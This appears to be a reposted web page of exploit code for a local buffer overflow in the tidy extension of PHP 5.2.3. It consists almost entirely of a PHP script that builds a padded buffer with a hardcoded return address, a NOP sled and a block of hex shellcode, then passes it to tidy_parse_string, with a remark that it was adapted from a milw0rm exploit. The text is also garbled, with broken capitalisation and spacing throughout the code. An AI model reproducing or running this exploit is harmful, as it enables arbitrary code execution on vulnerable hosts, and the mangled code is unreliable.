PHP 5.2.3 tidy extension local Overflow Vulnerability exploitation code

Copy codeThe Code is as follows: <? Php

If (! Extension_loaded ("tidy") {die ("you need Tidy extension loaded! ");}

$ Scode =
"\ Xfc \ xbb \ xc7 \ xc4 \ x05 \ xc9 \ xeb \ x0c \ x5e \ x56 \ x31 \ x1e \ xad \ x01 \ xc3 \ x85 ".
"\ Xc0 \ x75 \ xf7 \ xc3 \ xe8 \ xef \ xff \ x3b \ x2c \ x41 \ xc9 \ xc3 \ xad \ xc1 ".
"\ X8c \ xff \ x26 \ xa9 \ x0b \ x87 \ x39 \ xbd \ x9f \ x38 \ x22 \ xca \ xff \ xe6 \ x53 \ x27 ".
"\ Xb6 \ x6d \ x67 \ x3c \ x48 \ x9f \ xb9 \ x82 \ xd2 \ xf3 \ x3e \ xc2 \ x91 \ x0c \ xfe \ x09 ".
"\ X54 \ x13 \ xc2 \ x65 \ x93 \ x28 \ x96 \ x5d \ x58 \ x3b \ xf3 \ x15 \ x3f \ xe7 \ xfa \ xc2 ".
"\ Xa6 \ x6c \ xf0 \ x5f \ xac \ x2d \ x15 \ x61 \ x59 \ x5a \ x39 \ xea \ x9c \ xb7 \ xcb \ xb0 ".
"\ Xba \ x43 \ x0f \ x79 \ x03 \ x2f \ x04 \ x3a \ xb3 \ x2a \ xda \ xc3 \ xbf \ x9b \ x3f ".
"\ X4b \ xcf \ x07 \ xed \ xc0 \ x47 \ x30 \ x06 \ xdf \ x1c \ xc0 \ x68 \ xe0 \ x22 \ xc1 \ x03 ".
"\ X89 \ x1e \ x9e \ x22 \ xbc \ x3e \ x76 \ xcc \ xb8 \ x3d \ xb6 \ xb5 \ x68 \ x29 \ xc7 \ xc0 ".
"\ X8d \ xf6 \ x4f \ x4d \ x73 \ x82 \ x9e \ x3a \ x73 \ x75 \ xfd \ xa9 \ xef \ x57 \ x67 \ x4a ".
"\ X95 \ x87 \ x48 \ xc9 \ x75 \ xa9 \ xf3 \ x79 \ x56 \ x40 \ x8f \ xe4 \ xe4 \ x8a \ x1d \ x86 ".
"\ X71 \ xa2 \ xd5 \ x2b \ xa2 \ x40 \ x77 \ xd5 \ xca \ x90 \ x14 \ x05 \ x24 \ x99 \ x9e \ x01 ".
"\ X1a \ x3f \ x39 \ xaa \ x34 \ x5a \ x31 \ x8a \ xa4 \ xcb \ xda \ xab \ x58 \ x74 \ x6f \ x43 ".
"\ Xd4 \ x0a \ xaf \ xda \ x72 \ x87 \ xc6 \ xb2 \ x13 \ x24 \ x6d \ x39 \ x85 \ xbe \ xe2 \ xcf ".
"\ X36 \ x1e \ x8f \ x4e \ xc0 \ x36 \ x5b \ xf2 \ x12 \ xe9 \ xe2 \ xb0 \ x16 \ xf5 \ xe4 \ x38 ".
"\ X97 \ xf5 \ xe4 \ x38 \ x97 ";

$ EIP = "\ xD8 \ x69 \ x83 \ x7C ";
$ NOP = str_repeat ("\ x90", 12 );
$ ____ Buff = str_repeat ("a", 2036). $ EIP. $ NOP. $ scode;
Tidy_parse_string (1, $ ____ buff, 1 );
?>

After reading the EXP on MILW0RM, I changed it slightly.